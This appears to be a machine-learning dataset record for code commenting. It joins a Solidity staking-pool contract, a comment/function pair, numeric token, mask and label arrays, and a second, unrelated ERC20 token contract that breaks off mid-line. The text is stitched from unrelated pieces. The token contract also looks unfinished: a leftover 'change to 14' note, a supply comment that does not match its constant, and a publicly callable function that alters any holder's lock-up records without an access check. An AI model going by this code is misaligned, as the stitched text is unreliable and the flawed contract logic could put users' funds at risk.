public management; event SlotChangedHands(uint indexed poolId, address indexed newOwner, address indexed previousOwner, uint slotId, uint depositWei, uint burnRateWei, uint rewards1WeiForSession); event PoolAdded(uint indexed poolId, bytes32 indexed name, address indexed depositToken); modifier managementOnly() { require (msg.sender == management, 'Only management may call this'); _; } modifier poolOwnerOnly(uint poolId) { Pool storage pool = pools[poolId]; require (msg.sender == pool.poolOwner, 'Only pool owner may call this'); _; } modifier initializedPoolOnly(uint poolId) { Pool storage pool = pools[poolId]; require(pool.id == poolId && poolId > 0, 'Uninitialized pool'); _; } modifier pausedAndSynced(uint poolId) { PoolStats storage stats = poolStats[poolId]; require (stats.paused, 'Must be paused'); require (stats.numSynced == stats.pausedStakers, 'Must sync all users'); _; } constructor(address mgmt) { management = mgmt; } function addPool( address rewardToken1Addr, address rewardToken2Addr, address liquidityTokenAddr, address taxAddr, address poolOwner, uint rewardPerBlock2Wei, uint pulseStartDelayBlocks, bytes32 ipfsHash, bytes32 name) managementOnly external { numPools = numPools.plus(1); { Pool storage pool = pools[numPools]; pool.id = numPools; pool.liquidityToken = liquidityTokenAddr; pool.taxAddress = taxAddr; pool.poolOwner = poolOwner; } { Metadata storage metadata = metadatas[numPools]; metadata.ipfsHash = ipfsHash; metadata.name = name; } { Pulse storage pulse = pulses[numPools]; pulse.rewardToken1 = rewardToken1Addr; pulse.rewardToken2 = rewardToken2Addr; pulse.pulseStartBlock = block.number + pulseStartDelayBlocks; pulse.reward2WeiPerBlock = rewardPerBlock2Wei; } { PoolStats storage stats = poolStats[numPools]; stats.paused = true; stats.pausedBlock = block.number; // stats.pausedStakers = 0; // stats.unpausedBlock = 0; } emit PoolAdded(numPools, name, liquidityTokenAddr); } function getRewards(uint poolId, uint slotId) public view returns (uint, uint) { Slot storage slot = pools[poolId].slots[slotId]; // unoccupied slots have no rewards if (slot.owner == address(0)) { return (0, 0); } return (getRewards1(poolId, slotId), getRewards2(poolId, slotId)); } function getRewards2(uint poolId, uint slotId) internal view returns (uint) { Pulse storage pulse = pulses[poolId]; (uint referenceBlock1, uint referenceBlock2) = getReferenceBlocks(poolId, slotId); // rewards2 is linear with time, probably very small amount as advertising uint rewards2 = referenceBlock2.minus(referenceBlock1).times(pulse.reward2WeiPerBlock); return rewards2; } // compute the undistributed rewards for a slot function getRewards1(uint poolId, uint slotId) internal view initializedPoolOnly(poolId) returns (uint) { (uint referenceBlock1, uint referenceBlock2) = getReferenceBlocks(poolId, slotId); // three parts, incomplete beginning, incomplete end and complete middle Pulse storage pulse = pulses[poolId]; uint rewards1; // complete middle // trim off overhang on both ends uint startPhase = referenceBlock1.minus(pulse.pulseStartBlock) % pulse.pulseWavelengthBlocks; uint startOverhang = pulse.pulseWavelengthBlocks.minus(startPhase); uint blocksDiffTotal = referenceBlock2.minus(referenceBlock1); uint endPhase = referenceBlock2.minus(pulse.pulseStartBlock) % pulse.pulseWavelengthBlocks; uint endingBlocks = pulse.pulseWavelengthBlocks.minus(endPhase); uint leftoverSum = pulseSum(pulse.pulseConstant, endingBlocks); // if we haven't made it to phase 0 yet if (blocksDiffTotal < startOverhang) { uint startSum = pulseSum(pulse.pulseConstant, startOverhang); rewards1 = startSum.minus(leftoverSum); } else { uint blocksDiff = blocksDiffTotal.minus(endPhase).minus(startOverhang); uint wavelengths = blocksDiff / pulse.pulseWavelengthBlocks; rewards1 = wavelengths.times(pulse.pulseIntegral); // incomplete beginning of reward cycle, end of pulse if (startPhase > 0) { rewards1 = rewards1.plus(pulseSum(pulse.pulseConstant, startOverhang)); } // incomplete ending of reward cycle, beginning of pulse if (endPhase > 0) { rewards1 = rewards1.plus(pulse.pulseIntegral.minus(leftoverSum)); } } return rewards1; } // compute the unapplied burn to the deposit function getBurn(uint poolId, uint slotId) public view initializedPoolOnly(poolId) returns (uint) { Slot storage slot = pools[poolId].slots[slotId]; (uint referenceBlock1, uint referenceBlock2) = getReferenceBlocks(poolId, slotId); uint burn = slot.burnRateWei.times(referenceBlock2.minus(referenceBlock1)); if (burn > slot.depositWei) { burn = slot.depositWei; } return burn; } // this must be idempotent, it syncs both the rewards and the deposit burn atomically, and updates lastUpdatedBlock function updateSlot(uint poolId, uint slotId) public initializedPoolOnly(poolId) { Pool storage pool = pools[poolId]; PoolStats storage stats = poolStats[poolId]; Slot storage slot = pool.slots[slotId]; require(slot.owner != address(0), 'Unoccupied slot'); // prevent multiple updates on same slot while paused if (stats.paused) { // these two requires prevent weird double updates that might make numSynced too high // it also means that if someone updates you while paused you cannot withdraw... require(block.number > stats.pausedBlock, 'Do not call this in the same block that you paused'); require(slot.lastUpdatedBlock <= stats.pausedBlock, 'If pool is paused, can only update slot once'); require(msg.sender == pool.poolOwner || msg.sender == slot.owner, 'If pool is paused, only pool owner or slot owner may call this'); stats.numSynced = stats.numSynced.plus(1); } Pulse storage pulse = pulses[poolId]; (uint rewards1, uint rewards2) = getRewards(poolId, slotId); // burn and rewards always have to update together, since they both depend on lastUpdatedBlock uint burn = getBurn(poolId, slotId); // update this first to make burn and reward zero in the case of re-entrance // this must happen after getting rewards and burn since they depend on this var slot.lastUpdatedBlock = block.number; if (rewards1 > 0) { // bookkeeping stats.totalRewardsWei = stats.totalRewardsWei.plus(rewards1); stats.totalRewardsWeiFor[slot.owner] = stats.totalRewardsWeiFor[slot.owner].plus(rewards1); stats.rewards1WeiForSession[slotId] = stats.rewards1WeiForSession[slotId].plus(rewards1); // transfer the rewards require(IERC20(pulse.rewardToken1).transfer(slot.owner, rewards1), 'Token transfer failed'); } if (rewards2 > 0) { require(IERC20(pulse.rewardToken2).transfer(slot.owner, rewards2), 'Token transfer failed'); } if (burn > 0) { // adjust deposit first slot.depositWei = slot.depositWei.minus(burn); // bookkeeping stats.totalBurnedWei = stats.totalBurnedWei.plus(burn); stats.totalBurnedWeiFor[slot.owner] = stats.totalBurnedWeiFor[slot.owner].plus(burn); // pay the tax! require(IERC20(pool.liquidityToken).transfer(pool.taxAddress, burn), 'Token transfer failed'); } } // most important function for users, allows them to start receiving rewards function claimSlot(uint poolId, uint slotId, uint newBurnRate, uint newDeposit) external { Pool storage pool = pools[poolId]; PoolStats storage stats = poolStats[poolId]; require(slotId > 0, 'Slot id must be positive'); require(slotId <= pool.maxStakers, 'Slot id out of range'); require(newBurnRate >= pool.minimumBurnRateWeiPerBlock, 'Burn rate must meet or exceed minimum'); require(newBurnRate <= pool.maximumBurnRateWeiPerBlock, 'Burn rate must not exceed maximum'); require(newDeposit >= pool.minimumDepositWei, 'Deposit must meet or exceed minimum'); require(newDeposit <= pool.maximumDepositWei, 'Deposit must not exceed maximum'); require(stats.paused == false, 'Must be unpaused'); require(pool.id == poolId && poolId > 0, 'Uninitialized pool'); { Pulse storage pulse = pulses[poolId]; require(pulse.pulseStartBlock <= block.number, 'Pool has not started yet'); } Slot storage slot = pool.slots[slotId]; // count the stakers if (slot.owner == address(0)) { // assign id since this may be the first time slot.id = slotId; // set last updated block, this happens in updateSlot but that's the other branch slot.lastUpdatedBlock = block.number; // check that we meet-or-exceed the linearly-decayed deposit and burn rates (uint depositMin, uint burnRateMin) = getClaimMinimums(poolId, slotId); bool betterDeal = newBurnRate >= burnRateMin && newDeposit >= depositMin; require(betterDeal, 'You must meet or exceed the current burn rate and deposit'); // increment counter stats.numStakers = stats.numStakers.plus(1); } else { updateSlot(poolId, slotId); // this must go after updateSlot to sync the deposit variable bool betterDeal = newBurnRate > slot.burnRateWei && (newDeposit > slot.depositWei || newDeposit == pool.maximumDepositWei); require(betterDeal || slot.depositWei == 0, 'You must outbid the current owner'); // bookkeeping stats.totalStakedWei = stats.totalStakedWei.minus(slot.depositWei); stats.totalStakedWeiFor[slot.owner] = stats.totalStakedWeiFor[slot.owner].minus(slot.depositWei); // this is probably not necessary, but we do it to be tidy slot.vacatedBlock = 0; // if there's any deposit left, if (slot.depositWei > 0) { require(IERC20(pool.liquidityToken).transfer(slot.owner, slot.depositWei), 'Token transfer failed'); } } emit SlotChangedHands(poolId, msg.sender, slot.owner, slotId, newDeposit, newBurnRate, stats.rewards1WeiForSession[slotId]); stats.rewards1WeiForSession[slotId] = 0; // set new owner, burn rate and deposit slot.owner = msg.sender; slot.burnRateWei = newBurnRate; slot.depositWei = newDeposit; // bookkeeping stats.totalStakedWei = stats.totalStakedWei.plus(newDeposit); stats.totalStakedWeiFor[msg.sender] = stats.totalStakedWeiFor[msg.sender].plus(newDeposit); // transfer the tokens! if (newDeposit > 0) { require(IERC20(pool.liquidityToken).transferFrom(msg.sender, address(this), newDeposit), 'Token transfer failed'); } } // separates user from slot, if either voluntary or delinquent function withdrawFromSlot(uint poolId, uint slotId) external initializedPoolOnly(poolId) { Pool storage pool = pools[poolId]; PoolStats storage stats = poolStats[poolId]; Slot storage slot = pool.slots[slotId]; // prevent double-withdrawals require(slot.owner != address(0), 'Slot unoccupied'); // sync deposit variable (this increments numSynced) updateSlot(poolId, slotId); // anyone can withdraw delinquents, but non-delinquents can only be withdrawn by themselves bool withdrawable = slot.owner == msg.sender || slot.depositWei == 0; require(withdrawable, 'Only owner can call this unless user is delinquent'); // must do this before rewards1WeiForSession gets zeroed out emit SlotChangedHands(poolId, address(0), slot.owner, slotId, 0, 0, stats.rewards1WeiForSession[slotId]); stats.rewards1WeiForSession[slotId] = 0; // decrement the number of stakers stats.numStakers = stats.numStakers.minus(1); // record what block we vacated in to compute linear decay slot.vacatedBlock = block.number; // zero out owner, closing re-entrance gate address owner = slot.owner; slot.owner = address(0); // don't set deposit or burn rate to 0 so we can compute linear decay // if there's any deposit left, if (slot.depositWei > 0) { require(IERC20(pool.liquidityToken).transfer(owner, slot.depositWei), 'Token transfer failed'); } } // ======================== PAUSE ============================= function pausePool(uint poolId) external poolOwnerOnly(poolId) initializedPoolOnly(poolId) { PoolStats storage stats = poolStats[poolId]; require(stats.paused == false, 'Already paused'); stats.paused = true; stats.pausedBlock = block.number; stats.pausedStakers = stats.numStakers; stats.unpausedBlock = 0; } function unpausePool(uint poolId) external poolOwnerOnly(poolId) pausedAndSynced(poolId) { PoolStats storage stats = poolStats[poolId]; stats.paused = false; stats.pausedBlock = 0; stats.numSynced = 0; stats.pausedStakers = 0; stats.unpausedBlock = block.number; } // ======================== GETTERS ============================= function getClaimMinimums(uint poolId, uint slotId) public view returns (uint, uint) { Slot memory slot = pools[poolId].slots[slotId]; if (slot.owner != address(0)) { return (slot.depositWei, slot.burnRateWei); } else { PoolStats storage stats = poolStats[poolId]; uint blocksDiff = block.number.minus(slot.vacatedBlock); uint depositDecay = blocksDiff.times(stats.depositDecayWeiPerBlock); if (depositDecay > slot.depositWei) { depositDecay = slot.depositWei; } uint burnRateDecay = blocksDiff.times(stats.burnRateDecayWeiPerBlock); if (burnRateDecay > slot.burnRateWei) { burnRateDecay = slot.burnRateWei; } return (slot.depositWei.minus(depositDecay), slot.burnRateWei.minus(burnRateDecay)); } } function getSlot(uint poolId, uint slotId) external view returns (uint, uint, uint, uint, uint, address) { Slot memory slot = pools[poolId].slots[slotId]; PoolStats storage stats = poolStats[poolId]; return (slot.lastUpdatedBlock, slot.depositWei, slot.burnRateWei, stats.rewards1WeiForSession[slotId], slot.vacatedBlock, slot.owner); } function getUserStats(uint poolId, address user) external view returns (uint, uint, uint) { PoolStats storage stats = poolStats[poolId]; return (stats.totalStakedWeiFor[user], stats.totalRewardsWeiFor[user], stats.totalBurnedWeiFor[user]); } function getReferenceBlocks(uint poolId, uint slotId) internal view returns (uint, uint) { Pool storage pool = pools[poolId]; PoolStats storage stats = poolStats[poolId]; Slot memory slot = pool.slots[slotId]; uint referenceBlock1 = slot.lastUpdatedBlock; uint referenceBlock2 = block.number; if (stats.paused) { referenceBlock2 = stats.pausedBlock; } else if (slot.lastUpdatedBlock < stats.unpausedBlock) { referenceBlock1 = stats.unpausedBlock; } return (referenceBlock1, referenceBlock2); } // compute the sum of the rewards per pulse function pulseSum(uint coeff, uint wavelength) public pure returns (uint) { // sum of squares formula return coeff.times(wavelength.times(wavelength.plus(1))).times(wavelength.times(2).plus(1)) / 6; } // ======================== SETTERS ============================= function setConfig( uint poolId, uint newMaxStakers, uint newMinDeposit, uint newMaxDeposit, uint newMinBurnRate, uint newMaxBurnRate, uint newWavelength, uint newAmplitude) external poolOwnerOnly(poolId) pausedAndSynced(poolId) { Pool storage pool = pools[poolId]; pool.maxStakers = newMaxStakers; pool.minimumDepositWei = newMinDeposit; pool.maximumDepositWei = newMaxDeposit; pool.minimumBurnRateWeiPerBlock = newMinBurnRate; pool.maximumBurnRateWeiPerBlock = newMaxBurnRate; Pulse storage pulse = pulses[poolId]; pulse.pulseWavelengthBlocks = newWavelength; pulse.pulseAmplitudeWei = newAmplitude; pulse.pulseConstant = pulse.pulseAmplitudeWei / pulse.pulseWavelengthBlocks.times(pulse.pulseWavelengthBlocks); pulse.pulseIntegral = pulseSum(pulse.pulseConstant, newWavelength); } // only management can reset management key function setManagement(address newMgmt) managementOnly external { management = newMgmt; } // only management can change tax address function setTaxAddress(uint poolId, address newTaxAddress) managementOnly external { Pool storage pool = pools[poolId]; pool.taxAddress = newTaxAddress; } function setReward2PerBlock(uint poolId, uint newReward) managementOnly external { Pulse storage pulse = pulses[poolId]; pulse.reward2WeiPerBlock = newReward; } // only management can change pool owner key function setPoolOwner(uint poolId, address newOwner) managementOnly external { Pool storage pool = pools[poolId]; pool.poolOwner = newOwner; } function setDecays(uint poolId, uint burnRateDecayWeiPerBlock, uint depositDecayWeiPerBlock) external poolOwnerOnly(poolId) initializedPoolOnly(poolId) { PoolStats storage stats = poolStats[poolId]; stats.burnRateDecayWeiPerBlock = burnRateDecayWeiPerBlock; stats.depositDecayWeiPerBlock = depositDecayWeiPerBlock; } }
unoccupied slots have no rewards
function getRewards(uint poolId, uint slotId) public view returns (uint, uint) { Slot storage slot = pools[poolId].slots[slotId]; if (slot.owner == address(0)) { return (0, 0); } return (getRewards1(poolId, slotId), getRewards2(poolId, slotId)); }
1,693,469
[ 1, 318, 25049, 416, 2092, 12169, 1240, 1158, 283, 6397, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4170, 359, 14727, 12, 11890, 2845, 548, 16, 2254, 4694, 548, 13, 1071, 1476, 1135, 261, 11890, 16, 2254, 13, 288, 203, 3639, 23195, 2502, 4694, 273, 16000, 63, 6011, 548, 8009, 18875, 63, 14194, 548, 15533, 203, 203, 3639, 309, 261, 14194, 18, 8443, 422, 1758, 12, 20, 3719, 288, 203, 5411, 327, 261, 20, 16, 374, 1769, 203, 3639, 289, 203, 203, 3639, 327, 261, 588, 17631, 14727, 21, 12, 6011, 548, 16, 4694, 548, 3631, 4170, 359, 14727, 22, 12, 6011, 548, 16, 4694, 548, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; struct Purchase { uint256 buyAmount; uint256 transferredAmount; uint256 purchaseBlock; } mapping(address => uint256) balances; mapping(address => Purchase[]) public presaleInvestors; mapping(address => uint256) public mainSaleInvestors; uint256 totalSupply_; uint256 public secondsPerBlock = 147; // change to 14 uint256 public startLockUpSec = 3888000; // 45 days => 3888000 secs uint256 public secondsPerMonth = 2592000; // 30 days => 2592000 secs uint256 public percentagePerMonth = 10; function _checkLockUp(address senderAdr) public view returns (uint) { uint canTransfer = 0; if (presaleInvestors[senderAdr].length == 0) { canTransfer = 0; } else if (presaleInvestors[senderAdr][0].purchaseBlock > block.number.sub(startLockUpSec.div(secondsPerBlock).mul(10))) { canTransfer = 0; } else { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } uint actAmount = (presaleInvestors[senderAdr][i].buyAmount).mul(months).mul(percentagePerMonth).div(100); uint realAmout = actAmount.sub(presaleInvestors[senderAdr][i].transferredAmount); canTransfer = canTransfer.add(realAmout); } else { break; } } } return canTransfer.add(mainSaleInvestors[senderAdr]); } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } } else { continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; } else { revert(); } } else { if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; } else { revert(); } } if (currentTokens != 0) { revert(); } } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(_value <= balances[msg.sender]); require(_checkLockUp(msg.sender) >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); cleanTokensAmount(msg.sender, _value); mainSaleInvestors[_to] = mainSaleInvestors[_to].add(_value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure require(_checkLockUp(_who) >= _value); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); cleanTokensAmount(_who, _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BurnableToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value > 0); require(_value <= allowed[_from][msg.sender]); require(_checkLockUp(_from) >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); cleanTokensAmount(_from, _value); mainSaleInvestors[_to] = mainSaleInvestors[_to].add(_value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); mainSaleInvestors[_to] = mainSaleInvestors[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract WiredToken is MintableToken { string public constant name = "Wired Token"; string public constant symbol = "WRD"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 410000000000000000000; // 10^28 address public agent; uint256 public distributeAmount = 41000000000000000000; uint256 public mulbonus = 1000; uint256 public divbonus = 10000000000; bool public presalePart = true; modifier onlyAgent() { require(msg.sender == owner || msg.sender == agent); _; } function WiredToken() public { totalSupply_ = INITIAL_SUPPLY; balances[address(this)] = INITIAL_SUPPLY; mainSaleInvestors[address(this)] = INITIAL_SUPPLY; agent = msg.sender; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) external onlyAgent { require(amount > 0 && addresses.length > 0); uint256 amounts = amount.mul(100000000); uint256 totalAmount = amounts.mul(addresses.length); require(balances[address(this)] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0); balances[addresses[i]] = balances[addresses[i]].add(amounts); emit Transfer(address(this), addresses[i], amounts); mainSaleInvestors[addresses[i]] = mainSaleInvestors[addresses[i]].add(amounts); } balances[address(this)] = balances[address(this)].sub(totalAmount); mainSaleInvestors[address(this)] = mainSaleInvestors[address(this)].sub(totalAmount); } function distributeAirdropMulti(address[] addresses, uint256[] amount) external onlyAgent { require(addresses.length > 0 && addresses.length == amount.length); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++) { require(amount[i] > 0 && addresses[i] != 0x0); uint256 amounts = amount[i].mul(100000000); totalAmount = totalAmount.add(amounts); require(balances[address(this)] >= totalAmount); balances[addresses[i]] = balances[addresses[i]].add(amounts); emit Transfer(address(this), addresses[i], amounts); mainSaleInvestors[addresses[i]] = mainSaleInvestors[addresses[i]].add(amounts); } balances[address(this)] = balances[address(this)].sub(totalAmount); mainSaleInvestors[address(this)] = 